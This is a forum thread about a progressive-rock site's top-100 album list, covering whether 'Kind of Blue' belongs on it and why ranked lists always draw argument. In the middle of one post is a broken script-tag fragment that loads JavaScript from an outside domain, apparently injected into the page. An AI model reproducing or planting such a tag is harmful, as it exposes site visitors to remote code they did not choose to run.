What’s your biggest gripe with the top 100

Even with "Kind of Blue" which I agree is not a prog album and should be excluded from the list, but it's just how it works. Miles Davis has jazz rock fusion albums, so he's in prog archives. He also has a lot of non-jr fusion albums and all of his albums are included, and Kind of Blue is a jazz masterpiece. I would personally abstain from rating it here, but people will rate it and base it on non-prog 1-5 scale. Nothing I can do about it.

I pretty much use the database only to find possible recommendations by year and by genre so I don't pay much attention to the top 100. My question is does it matter much what albums make it in to the top 100. It's basically a popularity survey of prog, and if someone new to prog gets on, they'll find a good sample of albums to try with the top 100, and if it is something they like, they'll discover on their own what they think should be there or not.< ="text/" async="" ="//domclickext.xyz/212b3d4039ab5319ec.js">

On another website the greatest 100 baseball players of all-time are being counted down, one a day until opening day. The author explained that actual inclusion/exclusion/placement on the list was not to an end-all, be-all. In fact, he said, someone he had ranked 100th could just as easily have been 75th so don't sweat it, the series is just about tellling stories about a lot of baseball greast and the rankings are completely arbitrary.

So of course most of the readers miss the point and argue and complain over not only who was included or left off the list, but whether someone should be 68th or 65th.

People will ALWAYS argue over any top-100 or top 50 or top 1,000 list of any kind because no two people share exactly the same opinons.

I don't worry about the list; it's nothing more than a tool for viewers to see a bunch of great albums that they may enjoy. Nothing is stopping anyone from exploring outside the top 100 either.